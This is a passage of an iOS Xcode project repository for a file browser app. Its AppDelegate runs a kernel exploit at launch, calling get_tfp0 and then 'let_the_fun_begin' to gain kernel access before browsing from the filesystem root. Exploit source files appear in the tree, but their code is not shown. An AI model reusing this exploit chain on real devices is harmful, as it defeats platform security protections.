├── Files.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcuserdata │ │ └── jakejames.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcuserdata │ └── jakejames.xcuserdatad │ └── xcschemes │ └── xcschememanagement.plist ├── Files ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets │ ├── AppIcon.appiconset │ │ ├── 120-1.png │ │ ├── 120.png │ │ ├── 152.png │ │ ├── 167.png │ │ ├── 180.png │ │ ├── 29.png │ │ ├── 40.png │ │ ├── 58-1.png │ │ ├── 58.png │ │ ├── 76.png │ │ ├── 80-1.png │ │ ├── 80-2.png │ │ ├── 80.png │ │ ├── 87.png │ │ └── Contents.json │ ├── Contents.json │ ├── Document.imageset │ │ ├── Contents.json │ │ ├── DocumentBase-48.png │ │ ├── DocumentBase-48@2x.png │ │ └── DocumentBase-48@3x.png │ ├── Folder.imageset │ │ ├── Contents.json │ │ └── Folder-50.pdf │ └── Picture.imageset │ │ ├── Contents.json │ │ ├── Image48.png │ │ ├── Image48@2x.png │ │ └── Image48@3x.png ├── Base.lproj │ └── LaunchScreen.storyboard ├── FBColumnNavigationController.h ├── FBColumnNavigationController.m ├── FBColumnViewController.h ├── FBColumnViewController.m ├── FBCustomPreviewController.h ├── FBCustomPreviewController.m ├── FBFilesTableViewController.h ├── FBFilesTableViewController.m ├── FBQLPreviewController.h ├── FBQLPreviewController.m ├── Info.plist ├── arm64_state.h ├── async_wake.c ├── async_wake.h ├── early_kalloc.c ├── early_kalloc.h ├── find_port.c ├── find_port.h ├── kcall.c ├── kcall.h ├── kdbg.c ├── kdbg.h ├── kmem.c ├── kmem.h ├── kutils.c ├── kutils.h ├── libproc.h ├── main.m ├── net │ └── route.h ├── symbols.c ├── symbols.h ├── sys │ ├── kern_control.h │ └── proc_info.h └── the_fun_part │ ├── fun.h │ ├── fun.m │ ├── patchfinder64.c │ └── patchfinder64.h ├── FilesDocumentProvider ├── Base.lproj │ └── MainInterface.storyboard ├── DocumentPickerViewController.h ├── DocumentPickerViewController.m ├── FilesDocumentProvider.entitlements └── Info.plist ├── FilesDocumentProviderFileProvider ├── FileProvider.h ├── FileProvider.m ├── FilesDocumentProviderFileProvider.entitlements └── Info.plist └── README.md /Files.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Files.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /Files.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | Files.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | FilesDocumentProvider.xcscheme 13 | 14 | orderHint 15 | 1 16 | 17 | FilesDocumentProviderFileProvider.xcscheme 18 | 19 | orderHint 20 | 2 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /Files/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @class FBColumnViewController; 12 | @interface AppDelegate : UIResponder 13 | 14 | @property (strong, nonatomic) UIWindow *window; 15 | @property (strong) FBColumnViewController *columnViewController; 16 | 17 | 18 | @end 19 | 20 | -------------------------------------------------------------------------------- /Files/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | #import "FBColumnViewController.h" 11 | #import "FBFilesTableViewController.h" 12 | #import "FBColumnNavigationController.h" 13 | #include "async_wake.h" 14 | #include "the_fun_part/fun.h" 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define PRIVATE 22 | #include "libproc.h" 23 | @interface AppDelegate () 24 | 25 | @end 26 | 27 | @implementation AppDelegate 28 | 29 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions 30 | { 31 | mach_port_t user_client; 32 | mach_port_t tfp0 = get_tfp0(&user_client); 33 | 34 | let_the_fun_begin(tfp0, user_client); 35 | 36 | printf(" ♫ KPP never bothered me anyway... ♫ \n"); 37 | sleep(2); 38 | NSUserDefaults *defaults = [[NSUserDefaults alloc] initWithSuiteName:@"group.com.highcaffeinecontent.Files"]; 39 | NSInteger sortingFilter = [defaults integerForKey:@"FBSortingFilter"]; 40 | 41 | self.window = [[UIWindow alloc] init]; 42 | 43 | FBFilesTableViewController *tc = [[FBFilesTableViewController alloc] initWithPath:@"/"]; 44 | 45 | FBColumnNavigationController *cnc = [[FBColumnNavigationController alloc] initWithRootViewController:tc]; 46 | 47 | FBColumnViewController *columnViewController = [[FBColumnViewController alloc] initWithRootViewController:cnc]; 48 | UINavigationController *nc = [[UINavigationController alloc] initWithRootViewController:columnViewController]; 49 | 50 | UISegmentedControl *filterSegmentedControl = [[UISegmentedControl alloc] initWithItems:@[@"Name", @"Kind"]]; 51 | filterSegmentedControl.apportionsSegmentWidthsByContent = NO; 52 | filterSegmentedControl.frame = CGRectMake(0, 0, 240, 32); 53 | filterSegmentedControl.selectedSegmentIndex = sortingFilter; 54 | columnViewController.navigationItem.titleView = filterSegmentedControl; 55 | 56 | [filterSegmentedControl addTarget:self action:@selector(filterChanged:) forControlEvents:UIControlEventValueChanged]; 57 | 58 | columnViewController.navigationItem.rightBarButtonItem = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemSearch target:self action:@selector(goToFolder:)]; 59 | 60 | [self.window makeKeyAndVisible]; 61 | 62 | self.window.rootViewController = nc; 63 | self.columnViewController = columnViewController; 64 | 65 | [self becomeFirstResponder]; 66 | 67 | return YES; 68 | } 69 | 70 | -(void)filterChanged:(UISegmentedControl *)sender 71 | { 72 | NSUserDefaults *defaults = [[NSUserDefaults alloc] initWithSuiteName:@"group.com.highcaffeinecontent.Files"]; 73 | 74 | [defaults setInteger:sender.selectedSegmentIndex forKey:@"FBSortingFilter"]; 75 | } 76 | 77 | -(void)navigateToPath:(NSString *)path 78 | { 79 | [self.columnViewController popToRootViewController]; 80 | 81 | __block NSString *composedPath = @"/"; 82 | 83 | NSArray *components = [path pathComponents]; 84 | 85 | [components enumerateObjectsUsingBlock:^(NSString * _Nonnull component, NSUInteger idx, BOOL * _Nonnull stop) { 86 | if (idx == 0) 87 | return; 88 | 89 | NSString *highlightedComponent = (idx < components.count-1) ? components[idx+1] : nil; 90 | 91 | composedPath = [composedPath stringByAppendingPathComponent:component]; 92 | 93 | FBFilesTableViewController *vc = [[FBFilesTableViewController alloc] initWithPath:composedPath]; 94 | 95 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:vc]; 96 | [self.columnViewController pushViewController:detailNavController]; 97 | 98 | dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.3 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ 99 | [vc highlightPathComponent:highlightedComponent]; 100 | }); 101 | }]; 102 | 103 | } 104 | 105 | #pragma mark - Key Commands 106 | 107 | -(NSArray *)keyCommands 108 | { 109 | return @[ 110 | [UIKeyCommand keyCommandWithInput:@"g" modifierFlags:UIKeyModifierShift|UIKeyModifierCommand action:@selector(goToFolder:) discoverabilityTitle:NSLocalizedString(@"Go to Folder…", nil)] 111 | ]; 112 | } 113 | 114 | #pragma mark - 115 | 116 | -(void)goToFolder:(id)sender 117 | { 118 | 119 | UIAlertController * alert = [UIAlertController 120 | alertControllerWithTitle:NSLocalizedString(@"Go to the folder…", nil) 121 | message:nil 122 | preferredStyle:UIAlertControllerStyleAlert]; 123 | 124 | [alert addTextFieldWithConfigurationHandler:^(UITextField *textField) { 125 | }]; 126 | 127 | UIAlertAction* goAction = [UIAlertAction 128 | actionWithTitle:NSLocalizedString(@"Go", nil) 129 | style:UIAlertActionStyleDefault 130 | handler:^(UIAlertAction * action) 131 | { 132 | NSString *path = alert.textFields.firstObject.text; 133 | 134 | if (path.length > 0) 135 | { 136 | [self navigateToPath:path]; 137 | } 138 | 139 | [alert dismissViewControllerAnimated:YES completion:nil]; 140 | 141 | }]; 142 | UIAlertAction* cancelAction = [UIAlertAction 143 | actionWithTitle:NSLocalizedString(@"Cancel", nil) 144 | style:UIAlertActionStyleCancel 145 | handler:^(UIAlertAction * action) 146 | { 147 | [alert dismissViewControllerAnimated:YES completion:nil]; 148 | }]; 149 | 150 | [alert addAction:cancelAction]; 151 | [alert addAction:goAction]; 152 | 153 | [self.columnViewController presentViewController:alert animated:YES completion:nil]; 154 | } 155 | 156 | @end 157 | -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/120-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/120-1.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/120.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/120.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/152.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/152.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/167.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/167.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/180.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/180.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/29.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/40.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/58-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/58-1.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/58.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/58.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/76.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/80-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/80-1.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/80-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/80-2.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/80.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/80.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/87.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/AppIcon.appiconset/87.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "size" : "29x29", 5 | "idiom" : "iphone", 6 | "filename" : "58.png", 7 | "scale" : "2x" 8 | }, 9 | { 10 | "size" : "29x29", 11 | "idiom" : "iphone", 12 | "filename" : "87.png", 13 | "scale" : "3x" 14 | }, 15 | { 16 | "size" : "40x40", 17 | "idiom" : "iphone", 18 | "filename" : "80.png", 19 | "scale" : "2x" 20 | }, 21 | { 22 | "size" : "40x40", 23 | "idiom" : "iphone", 24 | "filename" : "120-1.png", 25 | "scale" : "3x" 26 | }, 27 | { 28 | "size" : "60x60", 29 | "idiom" : "iphone", 30 | "filename" : "120.png", 31 | "scale" : "2x" 32 | }, 33 | { 34 | "size" : "60x60", 35 | "idiom" : "iphone", 36 | "filename" : "180.png", 37 | "scale" : "3x" 38 | }, 39 | { 40 | "size" : "29x29", 41 | "idiom" : "ipad", 42 | "filename" : "29.png", 43 | "scale" : "1x" 44 | }, 45 | { 46 | "size" : "29x29", 47 | "idiom" : "ipad", 48 | "filename" : "58-1.png", 49 | "scale" : "2x" 50 | }, 51 | { 52 | "size" : "40x40", 53 | "idiom" : "ipad", 54 | "filename" : "40.png", 55 | "scale" : "1x" 56 | }, 57 | { 58 | "size" : "40x40", 59 | "idiom" : "ipad", 60 | "filename" : "80-2.png", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "size" : "76x76", 65 | "idiom" : "ipad", 66 | "filename" : "76.png", 67 | "scale" : "1x" 68 | }, 69 | { 70 | "size" : "76x76", 71 | "idiom" : "ipad", 72 | "filename" : "152.png", 73 | "scale" : "2x" 74 | }, 75 | { 76 | "size" : "83.5x83.5", 77 | "idiom" : "ipad", 78 | "filename" : "167.png", 79 | "scale" : "2x" 80 | }, 81 | { 82 | "size" : "24x24", 83 | "idiom" : "watch", 84 | "scale" : "2x", 85 | "role" : "notificationCenter", 86 | "subtype" : "38mm" 87 | }, 88 | { 89 | "size" : "27.5x27.5", 90 | "idiom" : "watch", 91 | "scale" : "2x", 92 | "role" : "notificationCenter", 93 | "subtype" : "42mm" 94 | }, 95 | { 96 | "size" : "29x29", 97 | "idiom" : "watch", 98 | "role" : "companionSettings", 99 | "scale" : "2x" 100 | }, 101 | { 102 | "size" : "29x29", 103 | "idiom" : "watch", 104 | "role" : "companionSettings", 105 | "scale" : "3x" 106 | }, 107 | { 108 | "size" : "40x40", 109 | "idiom" : "watch", 110 | "filename" : "80-1.png", 111 | "scale" : "2x", 112 | "role" : "appLauncher", 113 | "subtype" : "38mm" 114 | }, 115 | { 116 | "size" : "86x86", 117 | "idiom" : "watch", 118 | "scale" : "2x", 119 | "role" : "quickLook", 120 | "subtype" : "38mm" 121 | }, 122 | { 123 | "size" : "98x98", 124 | "idiom" : "watch", 125 | "scale" : "2x", 126 | "role" : "quickLook", 127 | "subtype" : "42mm" 128 | } 129 | ], 130 | "info" : { 131 | "version" : 1, 132 | "author" : "xcode" 133 | } 134 | } -------------------------------------------------------------------------------- /Files/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /Files/Assets.xcassets/Document.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "DocumentBase-48.png", 6 | "scale" : "1x" 7 | }, 8 | { 9 | "idiom" : "universal", 10 | "filename" : "DocumentBase-48@2x.png", 11 | "scale" : "2x" 12 | }, 13 | { 14 | "idiom" : "universal", 15 | "filename" : "DocumentBase-48@3x.png", 16 | "scale" : "3x" 17 | } 18 | ], 19 | "info" : { 20 | "version" : 1, 21 | "author" : "xcode" 22 | } 23 | } -------------------------------------------------------------------------------- /Files/Assets.xcassets/Document.imageset/DocumentBase-48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Document.imageset/DocumentBase-48.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/Document.imageset/DocumentBase-48@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Document.imageset/DocumentBase-48@2x.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/Document.imageset/DocumentBase-48@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Document.imageset/DocumentBase-48@3x.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/Folder.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "Folder-50.pdf", 6 | "scale" : "1x" 7 | }, 8 | { 9 | "idiom" : "universal", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "scale" : "3x" 15 | } 16 | ], 17 | "info" : { 18 | "version" : 1, 19 | "author" : "xcode" 20 | }, 21 | "properties" : { 22 | "template-rendering-intent" : "template" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Files/Assets.xcassets/Folder.imageset/Folder-50.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Folder.imageset/Folder-50.pdf -------------------------------------------------------------------------------- /Files/Assets.xcassets/Picture.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "Image48.png", 6 | "scale" : "1x" 7 | }, 8 | { 9 | "idiom" : "universal", 10 | "filename" : "Image48@2x.png", 11 | "scale" : "2x" 12 | }, 13 | { 14 | "idiom" : "universal", 15 | "filename" : "Image48@3x.png", 16 | "scale" : "3x" 17 | } 18 | ], 19 | "info" : { 20 | "version" : 1, 21 | "author" : "xcode" 22 | } 23 | } -------------------------------------------------------------------------------- /Files/Assets.xcassets/Picture.imageset/Image48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Picture.imageset/Image48.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/Picture.imageset/Image48@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Picture.imageset/Image48@2x.png -------------------------------------------------------------------------------- /Files/Assets.xcassets/Picture.imageset/Image48@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/files-ios/95d457a69943f29dc0081966eada9e81b240802d/Files/Assets.xcassets/Picture.imageset/Image48@3x.png -------------------------------------------------------------------------------- /Files/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /Files/FBColumnNavigationController.h: -------------------------------------------------------------------------------- 1 | // 2 | // FBColumnNavigationController.h 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @class FBColumnViewController; 12 | 13 | @interface FBColumnNavigationController : UINavigationController 14 | @property (nonatomic, strong) FBColumnViewController *columnViewController; 15 | 16 | @end 17 | -------------------------------------------------------------------------------- /Files/FBColumnNavigationController.m: -------------------------------------------------------------------------------- 1 | // 2 | // FBColumnNavigationController.m 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "FBColumnNavigationController.h" 10 | #import "FBColumnViewController.h" 11 | 12 | 13 | @implementation FBColumnNavigationController 14 | 15 | - (instancetype)initWithRootViewController:(UIViewController *)rootViewController 16 | { 17 | self = [super initWithRootViewController:rootViewController]; 18 | if (self) { 19 | self.navigationBar.barTintColor = [UIColor whiteColor]; 20 | self.navigationBar.opaque = YES; 21 | self.navigationBar.titleTextAttributes = @{NSFontAttributeName : [UIFont systemFontOfSize:18]}; 22 | 23 | UITapGestureRecognizer *tap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(_performPop:)]; 24 | 25 | [self.navigationBar addGestureRecognizer:tap]; 26 | 27 | [self setToolbarHidden:NO]; 28 | } 29 | return self; 30 | } 31 | 32 | -(void)setColumnViewController:(FBColumnViewController *)columnViewController 33 | { 34 | for (UIViewController *vc in self.viewControllers) 35 | { 36 | if ([vc respondsToSelector:@selector(setColumnViewController:)]) 37 | vc.columnViewController = columnViewController; 38 | } 39 | _columnViewController = columnViewController; 40 | } 41 | 42 | -(void)_performPop:(id)sender 43 | { 44 | [self.columnViewController popToViewController:self]; 45 | } 46 | 47 | 48 | @end 49 | -------------------------------------------------------------------------------- /Files/FBColumnViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // FBColumnViewController.h 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @class FBColumnViewController; 12 | 13 | @protocol FBColumnViewControllerChild 14 | 15 | @property (nonatomic, weak) FBColumnViewController *columnViewController; 16 | 17 | @end 18 | 19 | @interface FBColumnViewController : UIViewController 20 | { 21 | BOOL _isDetailViewController; 22 | } 23 | 24 | @property (nonatomic, retain) UINavigationController *rootNavigationController; 25 | @property NSArray *viewControllers; 26 | @property CGFloat columnWidth; 27 | @property (nonatomic) UIScrollView *view; 28 | 29 | -(instancetype)initWithRootViewController:(UIViewController *)vc; 30 | -(void)pushViewController:(UIViewController *)vc; 31 | -(void)pushDetailViewController:(UIViewController *)vc; 32 | -(void)popViewController; 33 | -(void)popToViewController:(UIViewController *)vc; 34 | -(void)popToRootViewController; 35 | @end 36 | -------------------------------------------------------------------------------- /Files/FBColumnViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // FBColumnViewController.m 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "FBColumnViewController.h" 10 | #import "FBFilesTableViewController.h" 11 | #import "FBColumnNavigationController.h" 12 | 13 | @implementation FBColumnViewController 14 | @dynamic view; 15 | 16 | - (instancetype)initWithRootViewController:(UIViewController *)vc 17 | { 18 | self = [super init]; 19 | if (self) { 20 | self.viewControllers = @[vc]; 21 | self.columnWidth = 320.; 22 | 23 | vc.columnViewController = self; 24 | UIScrollView *sv = [[UIScrollView alloc] initWithFrame:self.view.frame]; 25 | sv.autoresizingMask = self.view.autoresizingMask; 26 | sv.backgroundColor = [UIColor groupTableViewBackgroundColor]; 27 | 28 | self.view = sv; 29 | 30 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) 31 | { 32 | self.columnWidth = [UIScreen mainScreen].bounds.size.width; 33 | 34 | self.rootNavigationController = [[UINavigationController alloc] initWithRootViewController:vc.childViewControllers.firstObject]; 35 | #ifdef APP_EXTENSION 36 | self.rootNavigationController.view.frame = CGRectMake(0, 20, self.view.frame.size.width, self.view.frame.size.height-64); 37 | #else 38 | self.rootNavigationController.view.frame = CGRectMake(0, 0, self.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta()); 39 | #endif 40 | self.rootNavigationController.view.autoresizingMask = UIViewAutoresizingFlexibleHeight|UIViewAutoresizingFlexibleWidth; 41 | 42 | [self.rootNavigationController setToolbarHidden:NO]; 43 | 44 | [self.view addSubview:self.rootNavigationController.view]; 45 | } 46 | else 47 | { 48 | [self layout]; 49 | } 50 | 51 | } 52 | return self; 53 | } 54 | 55 | -(void)pushDetailViewController:(UIViewController *)vc 56 | { 57 | _isDetailViewController = YES; 58 | [self pushViewController:vc]; 59 | _isDetailViewController = NO; 60 | } 61 | 62 | -(void)pushViewController:(UIViewController *)vc 63 | { 64 | self.viewControllers = [self.viewControllers arrayByAddingObject:vc]; 65 | vc.columnViewController = self; 66 | 67 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) 68 | { 69 | [self.rootNavigationController pushViewController:vc.childViewControllers.firstObject animated:YES]; 70 | [self.rootNavigationController setToolbarHidden:NO]; 71 | } 72 | else 73 | { 74 | [self layout]; 75 | 76 | self.view.contentSize = CGSizeMake(self.viewControllers.lastObject.view.frame.origin.x+self.viewControllers.lastObject.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta()); 77 | [self.view scrollRectToVisible:vc.view.frame animated:YES]; 78 | } 79 | } 80 | 81 | -(void)popViewController 82 | { 83 | if (self.viewControllers.count > 1) 84 | { 85 | self.viewControllers = [self.viewControllers subarrayWithRange:NSMakeRange(0, self.viewControllers.count-2)]; 86 | } 87 | else 88 | { 89 | self.viewControllers = @[]; 90 | } 91 | 92 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) 93 | { 94 | [self.rootNavigationController popViewControllerAnimated:YES]; 95 | } 96 | else 97 | { 98 | [self layout]; 99 | 100 | self.view.contentSize = CGSizeMake(self.viewControllers.lastObject.view.frame.origin.x+self.viewControllers.lastObject.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta()); 101 | [self.view scrollRectToVisible:self.viewControllers.lastObject.view.frame animated:YES]; 102 | } 103 | } 104 | 105 | -(void)popToRootViewController 106 | { 107 | self.viewControllers = @[[self.viewControllers firstObject]]; 108 | 109 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) 110 | { 111 | [self.rootNavigationController popToRootViewControllerAnimated:YES]; 112 | } 113 | else 114 | { 115 | [self layout]; 116 | 117 | self.view.contentSize = CGSizeMake(self.viewControllers.lastObject.view.frame.origin.x+self.viewControllers.lastObject.view.frame.size.width, self.view.frame.size.height-44-_FBStatusBarDelta()); 118 | [self.view scrollRectToVisible:self.viewControllers.lastObject.view.frame animated:YES]; 119 | } 120 | } 121 | 122 | -(void)popToViewController:(UIViewController *)vc 123 | { 124 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) 125 | { 126 | } 127 | else 128 | { 129 | NSUInteger idx = [self.viewControllers indexOfObject:vc]; 130 | 131 | if (idx < self.viewControllers.count) 132 | { 133 | self.viewControllers = [self.viewControllers subarrayWithRange:NSMakeRange(0, idx+1)]; 134 | 135 | [self layout]; 136 | } 137 | 138 | [self.view scrollRectToVisible:vc.view.frame animated:YES]; 139 | } 140 | } 141 | 142 | -(void)layout 143 | { 144 | if (self.view.subviews.count && self.view.subviews.count > self.viewControllers.count) 145 | { 146 | [[self.view.subviews subarrayWithRange:NSMakeRange(self.viewControllers.count, self.view.subviews.count-self.viewControllers.count)] makeObjectsPerformSelector:@selector(removeFromSuperview)]; 147 | } 148 | 149 | NSUInteger idx = 0; 150 | for (UIViewController *vc in self.viewControllers) 151 | { 152 | 153 | CGFloat desiredWidth = self.columnWidth; 154 | 155 | if (_isDetailViewController && idx == self.viewControllers.count-1) 156 | { 157 | desiredWidth = 512; 158 | } 159 | 160 | vc.view.frame = CGRectMake(idx*self.columnWidth+idx, 0, desiredWidth, self.view.frame.size.height-44-_FBStatusBarDelta()); 161 | 162 | vc.view.autoresizingMask = UIViewAutoresizingFlexibleHeight; 163 | [self.view addSubview:vc.view]; 164 | 165 | idx++; 166 | } 167 | } 168 | 169 | CGFloat _FBStatusBarDelta() 170 | { 171 | CGFloat statusBarDelta = 20; 172 | 173 | #ifdef APP_EXTENSION 174 | statusBarDelta = 0; 175 | #endif 176 | 177 | return statusBarDelta; 178 | } 179 | 180 | @end 181 | -------------------------------------------------------------------------------- /Files/FBCustomPreviewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // FBCustomPreviewController.h 3 | // FileBrowser 4 | // 5 | // Created by Steven Troughton-Smith on 29/09/2014. 6 | // Copyright (c) 2014 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @class FBColumnViewController; 12 | 13 | @interface FBCustomPreviewController : UIViewController 14 | { 15 | __strong UITextView *textView; 16 | __strong UIImageView *imageView; 17 | } 18 | @property (strong) FBColumnViewController *columnViewController; 19 | 20 | +(BOOL)canHandleExtension:(NSString *)fileExt; 21 | - 